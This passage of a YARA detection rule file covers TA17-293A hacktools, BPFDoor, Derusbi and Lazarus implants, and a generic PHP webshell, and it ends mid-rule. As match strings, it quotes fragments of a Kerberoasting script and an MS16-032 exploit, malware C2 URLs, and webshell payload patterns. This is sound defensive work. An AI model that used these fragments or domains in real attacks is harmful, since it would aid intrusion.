		uint32( 0 ) == 0x04034b50 and $dir1 and $bytes
}

rule TA17_293A_Query_XML_Code_MAL_DOC
{
	meta:
		name = "Query_XML_Code_MAL_DOC"
		author = "other (modified by Florian Roth)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
		id = "82b0f28a-94b6-52ab-8fd6-cdc05823ac34"

	strings:
		$dir = "word/_rels/" ascii
		$dir2 = "word/theme/theme1.xml" ascii
		$style = "word/styles.xml" ascii

	condition:
		uint32( 0 ) == 0x04034b50 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd
}

rule TA17_293A_Query_Javascript_Decode_Function
{
	meta:
		name = "Query_Javascript_Decode_Function"
		author = "other (modified by Florian Roth)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
		id = "bc206ab3-a86b-5abe-ae84-15abab838d4e"

	strings:
		$decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}
		$decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}
		$decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}
		$decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}

	condition:
		filesize < 20KB and all of ( $decode* )
}

rule TA17_293A_Hacktool_PS_1
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
		date = "2017-10-21"
		hash1 = "72a28efb6e32e653b656ca32ccd44b3111145a695f6f6161965deebbdc437076"
		id = "e4b92536-fa9a-5a65-8bd6-84c037dfbdce"

	strings:
		$x1 = "$HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdf,DC=pd,DC=f" ascii
		$x2 = "} | Where-Object {$_.SamAccountName -notmatch 'krbtgt'} | Get-SPNTicket @GetSPNTicketArguments" fullword ascii

	condition:
		( filesize < 80KB and 1 of them )
}

rule TA17_293A_Hacktool_Touch_MAC_modification
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
		date = "2017-10-21"
		hash1 = "070d7082a5abe1112615877214ec82241fd17e5bd465e24d794a470f699af88e"
		id = "69240cc0-a04e-544a-b7e3-c5a08c062055"

	strings:
		$s1 = "-t time - use the time specified to update the access and modification times" fullword ascii
		$s2 = "Failed to set file times for %s. Error: %x" fullword ascii
		$s3 = "touch [-acm][ -r ref_file | -t time] file..." fullword ascii
		$s4 = "-m - change the modification time only" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them )
}

rule TA17_293A_Hacktool_Exploit_MS16_032
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
		date = "2017-10-21"
		hash1 = "9b97290300abb68fb48480718e6318ee2cdd4f099aa6438010fb2f44803e0b58"
		id = "4c5838d7-9956-564e-a25c-f2ba5641ac03"

	strings:
		$x1 = "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread)))" ascii
		$x2 = "0x00000002, \"C:\\Windows\\System32\\cmd.exe\", \"\"," fullword ascii
		$x3 = "PowerShell implementation of MS16-032. The exploit targets all vulnerable" fullword ascii
		$x4 = "If we can't open the process token it's a SYSTEM shell!" fullword ascii

	condition:
		( filesize < 40KB and 1 of them )
}

import "pe"

rule Imphash_UPX_Packed_Malware_1_TA17_293A
{
	meta:
		description = "Detects malware based on Imphash of malware used in TA17-293A"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
		date = "2017-10-21"
		hash1 = "a278256fbf2f061cfded7fdd58feded6765fade730374c508adad89282f67d77"
		id = "3ff28f06-8b69-5e8f-ab45-dfa4f6e69812"

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 5000KB and pe.imphash ( ) == "d7d745ea39c8c5b82d5e153d3313096c" )
}

import "pe"

rule Imphash_Malware_2_TA17_293A : HIGHVOL
{
	meta:
		description = "Detects malware based on Imphash of malware used in TA17-293A"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
		date = "2017-10-21"
		id = "5c9f32a3-8c50-5d46-929b-bbe14697540e"

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 5000KB and pe.imphash ( ) == "a8f69eb2cf9f30ea96961c86b4347282" )
}

rule MAL_LNX_RedMenshen_BPFDoor_May23_1
{
	meta:
		description = "Detects BPFDoor malware"
		author = "Florian Roth"
		reference = "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game"
		date = "2023-05-11"
		score = 80
		hash1 = "afa8a32ec29a31f152ba20a30eb483520fe50f2dce6c9aa9135d88f7c9c511d7"
		id = "25df4dba-ec6e-5999-b6be-56fe933cb0d0"

	strings:
		$x1 = "[-] Execute command failed" ascii fullword
		$x2 = "/var/run/initd.lock" ascii fullword
		$xc1 = { 2F 00 3E 3E 00 65 78 69 74 00 72 00 }
		$sc1 = { 9F CD 30 44 }
		$sc2 = { 66 27 14 5E }
		$sa1 = "TLS-CHACHA20-POLY1305-SHA256" ascii fullword
		$sop1 = { 48 83 c0 01 4c 39 f8 75 ea 4c 89 7c 24 68 48 69 c3 d0 00 00 00 48 8b 5c 24 50 48 8b 54 24 78 48 c7 44 24 38 00 00 00 00 }
		$sop2 = { 48 89 de f3 a5 89 03 8b 44 24 2c 39 44 24 28 44 89 4b 04 48 89 53 10 0f 95 c0 }
		$sop3 = { 49 d3 cd 4d 31 cd b1 29 49 89 e9 49 d3 c8 4d 31 c5 4c 03 68 10 48 89 f9 }

	condition:
		uint16( 0 ) == 0x457f and filesize < 900KB and ( ( 1 of ( $x* ) and 1 of ( $s* ) ) or 4 of them or ( all of ( $sc* ) and $sc1 in ( @sc2 [ 1 ] - 50 .. @sc2 [ 1 ] + 50 ) ) ) or ( 2 of ( $x* ) or 5 of them )
}

rule APT_MAL_LNX_RedMenshen_BPFDoor_Controller_May22_1
{
	meta:
		description = "Detects unknown Linux implants (uploads from KR and MO)"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
		date = "2022-05-05"
		score = 90
		hash1 = "07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d"
		hash2 = "4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d"
		hash3 = "599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683"
		hash4 = "5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9"
		hash5 = "5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3"
		hash6 = "93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c"
		hash7 = "97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc"
		hash8 = "c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276"
		hash9 = "f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27"
		hash10 = "fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a"
		id = "1438c3bf-3c42-59d5-9f3f-2d72bdaaac42"

	strings:
		$s1 = "[-] Connect failed." ascii fullword
		$s2 = "export MYSQL_HISTFILE=" ascii fullword
		$s3 = "udpcmd" ascii fullword
		$s4 = "getshell" ascii fullword
		$op1 = { e8 ?? ff ff ff 80 45 ee 01 0f b6 45 ee 3b 45 d4 7c 04 c6 45 ee 00 80 45 ff 01 80 7d ff 00 }
		$op2 = { 55 48 89 e5 48 83 ec 30 89 7d ec 48 89 75 e0 89 55 dc 83 7d dc 00 75 0? }
		$op3 = { e8 a? fe ff ff 0f b6 45 f6 48 03 45 e8 0f b6 10 0f b6 45 f7 48 03 45 e8 0f b6 00 8d 04 02 }
		$op4 = { c6 80 01 01 00 00 00 48 8b 45 c8 0f b6 90 01 01 00 00 48 8b 45 c8 88 90 00 01 00 00 c6 45 ef 00 0f b6 45 ef 88 45 ee }

	condition:
		uint16( 0 ) == 0x457f and filesize < 80KB and 2 of them or 5 of them
}

rule APT_MAL_LNX_RedMenshen_BPFDoor_Controller_May22_2
{
	meta:
		description = "Detects BPFDoor implants used by Chinese actor Red Menshen"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
		date = "2022-05-07"
		score = 85
		hash1 = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
		hash2 = "96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9"
		hash3 = "c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c"
		hash4 = "f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72"
		id = "d5c3d530-ed6f-563e-a3b0-55d4c82e4899"

	strings:
		$opx1 = { 48 83 c0 0c 48 8b 95 e8 fe ff ff 48 83 c2 0c 8b 0a 8b 55 f0 01 ca 89 10 c9 }
		$opx2 = { 48 01 45 e0 83 45 f4 01 8b 45 f4 3b 45 dc 7c cd c7 45 f4 00 00 00 00 eb 2? 48 8b 05 ?? ?? 20 00 }
		$op1 = { 48 8d 14 c5 00 00 00 00 48 8b 45 d0 48 01 d0 48 8b 00 48 89 c7 e8 ?? ?? ff ff 48 83 c0 01 48 01 45 e0 }
		$op2 = { 89 c2 8b 85 fc fe ff ff 01 c2 8b 45 f4 01 d0 2d 7b cf 10 2b 89 45 f4 c1 4d f4 10 }
		$op3 = { e8 ?? d? ff ff 8b 45 f0 eb 12 8b 85 3c ff ff ff 89 c7 e8 ?? d? ff ff b8 ff ff ff ff c9 }

	condition:
		uint16( 0 ) == 0x457f and filesize < 100KB and 2 of ( $opx* ) or 4 of them
}

rule APT_MAL_LNX_RedMenshen_BPFDoor_Controller_May22_3
{
	meta:
		description = "Detects BPFDoor implants used by Chinese actor Red Menshen"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
		date = "2022-05-08"
		score = 85
		hash1 = "144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3"
		hash2 = "fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73"
		id = "91c2153a-a6e0-529e-852c-61f799838798"

	strings:
		$s1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
		$s2 = "/sbin/mingetty /dev" ascii fullword
		$s3 = "pickup -l -t fifo -u" ascii fullword

	condition:
		uint16( 0 ) == 0x457f and filesize < 200KB and 2 of them or all of them
}

rule APT_MAL_LNX_RedMenshen_BPFDoor_Controller_Generic_May22_1
{
	meta:
		description = "Detects BPFDoor malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
		date = "2022-05-09"
		score = 90
		hash1 = "07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d"
		hash2 = "1925e3cd8a1b0bba0d297830636cdb9ebf002698c8fa71e0063581204f4e8345"
		hash3 = "4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d"
		hash4 = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
		hash5 = "599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683"
		hash6 = "5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9"
		hash7 = "5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3"
		hash8 = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
		hash9 = "93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c"
		hash10 = "96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9"
		hash11 = "97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc"
		hash12 = "c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276"
		hash13 = "c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c"
		hash14 = "f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72"
		hash15 = "f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27"
		hash16 = "fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73"
		hash17 = "fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a"
		id = "d30df2ae-7008-53c0-9a61-8346a9c9f465"

	strings:
		$op1 = { c6 80 01 01 00 00 00 48 8b 45 ?8 0f b6 90 01 01 00 00 48 8b 45 ?8 88 90 00 01 00 00 c6 45 ?? 00 0f b6 45 ?? 88 45 }
		$op2 = { 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 0f b6 80 01 01 00 00 }
		$op3 = { 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 0f b6 80 01 01 00 00 88 45 f? c7 45 f8 00 00 00 00 }
		$op4 = { 48 89 7d d8 89 75 d4 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? }
		$op5 = { 48 8b 45 ?8 c6 80 01 01 00 00 00 48 8b 45 ?8 0f b6 90 01 01 00 00 48 8b 45 ?8 88 90 00 01 00 00 c6 45 ?? 00 0f b6 45 }
		$op6 = { 89 75 d4 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 }

	condition:
		uint16( 0 ) == 0x457f and filesize < 200KB and 2 of them or 4 of them
}

rule SUSP_LNK_Big_Link_File
{
	meta:
		description = "Detects a suspiciously big LNK file - maybe with embedded content"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-05-15"
		score = 65
		id = "e130f213-53fc-56d6-b1d5-0508a7e18e61"

	condition:
		uint16( 0 ) == 0x004c and uint32( 4 ) == 0x00021401 and filesize > 200KB
}

rule derusbi_kernel
{
	meta:
		description = "Derusbi Driver version"
		date = "2015-12-09"
		author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
		id = "a60ab93a-e2be-53ee-a7da-56c763bc5533"

	strings:
		$token1 = "$$$--Hello"
		$token2 = "Wrod--$$$"
		$class = ".?AVPCC_BASEMOD@@"

	condition:
		uint16( 0 ) == 0x5A4D and $token1 and $token2 and $class
}

rule derusbi_linux
{
	meta:
		description = "Derusbi Server Linux version"
		date = "2015-12-09"
		author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
		id = "2b33afb5-be87-5d41-b05e-b99d0c1d8ed9"

	strings:
		$PS1 = "PS1=RK# \\u@\\h:\\w \\$"
		$cmd = "unset LS_OPTIONS;uname -a"
		$pname = "[diskio]"
		$rkfile = "/tmp/.secure"
		$ELF = "\x7fELF"

	condition:
		$ELF at 0 and $PS1 and $cmd and $pname and $rkfile
}

rule Derusbi_Kernel_Driver_WD_UDFS
{
	meta:
		description = "Detects Derusbi Kernel Driver"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
		date = "2015-12-15"
		score = 80
		hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
		hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
		hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
		hash4 = "e27fb16dce7fff714f4b05f2cef53e1919a34d7ec0e595f2eaa155861a213e59"
		id = "51d80d19-f87f-5b09-ac49-08ebcb464013"

	strings:
		$x1 = "\\\\.\\pipe\\usbpcex%d" fullword wide
		$x2 = "\\\\.\\pipe\\usbpcg%d" fullword wide
		$x3 = "\\??\\pipe\\usbpcex%d" fullword wide
		$x4 = "\\??\\pipe\\usbpcg%d" fullword wide
		$x5 = "$$$--Hello" fullword ascii
		$x6 = "Wrod--$$$" fullword ascii
		$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" wide
		$s2 = "Update.dll" fullword ascii
		$s3 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" wide
		$s4 = "\\Driver\\nsiproxy" wide
		$s5 = "HOST: %s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and ( 2 of ( $x* ) or all of ( $s* ) )
}

rule Derusbi_Code_Signing_Cert
{
	meta:
		description = "Detects an executable signed with a certificate also used for Derusbi Trojan - suspicious"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
		date = "2015-12-15"
		score = 60
		id = "d123fde9-0182-5232-a716-b76e8d9830c4"

	strings:
		$s1 = "Fuqing Dawu Technology Co.,Ltd.0" fullword ascii
		$s2 = "XL Games Co.,Ltd.0" fullword ascii
		$s3 = "Wemade Entertainment co.,Ltd0" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and 1 of them
}

rule XOR_4byte_Key
{
	meta:
		description = "Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
		date = "2015-12-15"
		score = 60
		id = "77850332-87ce-5ed3-bb09-88e91e5bb5f6"

	strings:
		$s1 = { 85 C9 74 0A 31 06 01 1E 83 C6 04 49 EB F2 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and all of them
}

rule Derusbi_Backdoor_Mar17_1
{
	meta:
		description = "Detects a variant of the Derusbi backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-03-03"
		hash1 = "f87915f21dcc527981ebb6db3d332b5b341129b4af83524f59d7178e9d2a3a32"
		id = "5c8838d6-b9c2-589e-b6a2-a8c7ad6f10cc"

	strings:
		$x1 = "%SystemRoot%\\System32\\wiaservc.dll" fullword wide
		$x2 = "c%WINDIR%\\PCHealth\\HelpCtr\\Binaries\\pchsvc.dll" fullword wide
		$x3 = "%Systemroot%\\Help\\perfc009.dat" fullword wide
		$x4 = "rundll32.exe \"%s\", R32 %s" fullword wide
		$x5 = "OfficeUt32.dll" fullword ascii
		$x6 = "\\\\.\\pipe\\usb%so" fullword wide
		$x7 = "\\\\.\\pipe\\usb%si" fullword wide
		$x8 = "\\tmp1.dat" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of them )
}

import "pe"

rule APT_Lazarus_Dropper_Jun18_1
{
	meta:
		description = "Detects Lazarus Group Dropper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/DrunkBinary/status/1002587521073721346"
		date = "2018-06-01"
		hash1 = "086a50476f5ceee4b10871c1a8b0a794e96a337966382248a8289598b732bd47"
		hash2 = "9f2d4fd79d3c68270102c4c11f3e968c10610a2106cbf1298827f8efccdd70a9"
		id = "226be9d4-93c0-5512-9667-3388cd6f20d4"

	strings:
		$s1 = /%s\\windows10-kb[0-9]{7}.exe/ fullword ascii
		$s2 = "EYEJIW" fullword ascii
		$s3 = "update" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 21000KB and ( pe.imphash ( ) == "fcac768eff9896d667a7c706d70712ce" or all of them )
}

rule APT_Lazarus_RAT_Jun18_1
{
	meta:
		description = "Detects Lazarus Group RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/DrunkBinary/status/1002587521073721346"
		date = "2018-06-01"
		hash1 = "c10363059c57c52501c01f85e3bb43533ccc639f0ea57f43bae5736a8e7a9bc8"
		hash2 = "e98991cdd9ddd30adf490673c67a4f8241993f26810da09b52d8748c6160a292"
		id = "fd394d15-70c5-543a-a845-2058f296b5f8"

	strings:
		$a1 = "www.marmarademo.com/include/extend.php" fullword ascii
		$a2 = "www.33cow.com/include/control.php" fullword ascii
		$a3 = "www.97nb.net/include/arc.sglistview.php" fullword ascii
		$c1 = "Content-Disposition: form-data; name=\"file1\"; filename=\"example.dat\"" fullword ascii
		$c2 = "Content-Disposition: form-data; name=\"file1\"; filename=\"pratice.pdf\"" fullword ascii
		$c3 = "Content-Disposition: form-data; name=\"file1\"; filename=\"happy.pdf\"" fullword ascii
		$c4 = "Content-Disposition: form-data; name=\"file1\"; filename=\"my.doc\"" fullword ascii
		$c5 = "Content-Disposition: form-data; name=\"board_id\"" fullword ascii
		$s1 = "Winhttp.dll" fullword ascii
		$s2 = "Wsock32.dll" fullword ascii
		$s3 = "WM*.tmp" fullword ascii
		$s4 = "FM*.tmp" fullword ascii
		$s5 = "Cache-Control: max-age=0" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( 1 of ( $a* ) or 2 of ( $c* ) or 4 of them )
}

rule APT_Lazarus_RAT_Jun18_2
{
	meta:
		description = "Detects Lazarus Group RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/DrunkBinary/status/1002587521073721346"
		date = "2018-06-01"
		hash1 = "e6096fb512a6d32a693491f24e67d772f7103805ad407dc37065cebd1962a547"
		id = "4f2e280e-ed76-5fb9-b137-5191bbea2155"

	strings:
		$s1 = "\\KB\\Release\\" ascii
		$s3 = "KB, Version 1.0" fullword wide
		$s4 = "TODO: (c) <Company name>.  All rights reserved." fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and 2 of them
}

rule WEBSHELL_PHP_Generic
{
	meta:
		description = "php webshell having some kind of input and some kind of payload. restricted to small files or big ones inclusing suspicious strings"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/14"
		modified = "2023-09-18"
		hash = "bee1b76b1455105d4bfe2f45191071cf05e83a309ae9defcf759248ca9bceddd"
		hash = "6bf351900a408120bee3fc6ea39905c6a35fe6efcf35d0a783ee92062e63a854"
		hash = "e3b4e5ec29628791f836e15500f6fdea19beaf3e8d9981c50714656c50d3b365"
		hash = "00813155bf7f5eb441e1619616a5f6b21ae31afc99caa000c4aafd54b46c3597"
		hash = "e31788042d9cdeffcb279533b5a7359b3beb1144f39bacdd3acdef6e9b4aff25"
		hash = "36b91575a08cf40d4782e5aebcec2894144f1e236a102edda2416bc75cbac8dd"
		hash = "a34154af7c0d7157285cfa498734cfb77662edadb1a10892eb7f7e2fb5e2486c"
		hash = "791a882af2cea0aa8b8379791b401bebc235296858266ddb7f881c8923b7ea61"
		hash = "9a8ab3c225076a26309230d7eac7681f85b271d2db22bf5a190adbf66faca2e6"
		hash = "0d3ee83adc9ebf8fb1a8c449eed5547ee5e67e9a416cce25592e80963198ae23"
		hash = "3d8708609562a27634df5094713154d8ca784dbe89738e63951e12184ff07ad6"
		hash = "70d64d987f0d9ab46514abcc868505d95dbf458387f858b0d7580e4ee8573786"
		hash = "259b3828694b4d256764d7d01b0f0f36ca0526d5ee75e134c6a754d2ab0d1caa"
		hash = "04d139b48d59fa2ef24fb9347b74fa317cb05bd8b7389aeb0a4d458c49ea7540"
		hash = "58d0e2ff61301fe0c176b51430850239d3278c7caf56310d202e0cdbdde9ac3f"
		hash = "731f36a08b0e63c63b3a2a457667dfc34aa7ff3a2aee24e60a8d16b83ad44ce2"
		hash = "e4ffd4ec67762fe00bb8bd9fbff78cffefdb96c16fe7551b5505d319a90fa18f"
		hash = "fa00ee25bfb3908808a7c6e8b2423c681d7c52de2deb30cbaea2ee09a635b7d4"
		hash = "98c1937b9606b1e8e0eebcb116a784c9d2d3db0039b21c45cba399e86c92c2fa"
		hash = "e9423ad8e51895db0e8422750c61ef4897b3be4292b36dba67d42de99e714bff"
		hash = "7a16311a371f03b29d5220484e7ecbe841cfaead4e73c17aa6a9c23b5d94544d"
		hash = "7ca5dec0515dd6f401cb5a52c313f41f5437fc43eb62ea4bcc415a14212d09e9"
		hash = "3de8c04bfdb24185a07f198464fcdd56bb643e1d08199a26acee51435ff0a99f"
		hash = "63297f8c1d4e88415bc094bc5546124c9ed8d57aca3a09e36ae18f5f054ad172"
		hash = "a09dcf52da767815f29f66cb7b03f3d8c102da5cf7b69567928961c389eac11f"
		hash = "d9ae762b011216e520ebe4b7abcac615c61318a8195601526cfa11bbc719a8f1"
		hash = "dd5d8a9b4bb406e0b8f868165a1714fe54ffb18e621582210f96f6e5ae850b33"
		id = "294ce5d5-55b2-5c79-b0f8-b66f949efbb2"

	strings:
		$wfp_tiny1 = "escapeshellarg" fullword
		$wfp_tiny2 = "addslashes" fullword
		$gfp_tiny3 = "include \"./common.php\";"
		$gfp_tiny4 = "assert('FALSE');"
		$gfp_tiny5 = "assert(false);"
		$gfp_tiny6 = "assert(FALSE);"
		$gfp_tiny7 = "assert('array_key_exists("
		$gfp_tiny8 = "echo shell_exec($aspellcommand . ' 2>&1');"
		$gfp_tiny9 = "throw new Exception('Could not find authentication source with id ' . $sourceId);"
		$gfp_tiny10 = "return isset( $_POST[ $key ] ) ? $_POST[ $key ] : ( isset( $_REQUEST[ $key ] ) ? $_REQUEST[ $key ] : $default );"
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii
		$inp1 = "php://input" wide ascii
		$inp2 = /_GET\s?\[/ wide ascii
		$inp3 = /\(\s?\$_GET\s?\)/ wide ascii
		$inp4 = /_POST\s?\[/ wide ascii
		$inp5 = /\(\s?\$_POST\s?\)/ wide ascii
		$inp6 = /_REQUEST\s?\[/ wide ascii
		$inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
		$inp8 = /\(\s?\$_HEADERS\s?[\)\[]/ wide ascii
		$inp15 = "_SERVER['HTTP_" wide ascii
		$inp16 = "_SERVER[\"HTTP_" wide ascii
		$inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
		$inp18 = "array_values($_SERVER)" wide ascii
		$inp19 = /file_get_contents\("https?:\/\// wide ascii
		$inp20 = "TSOP_" wide ascii
		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
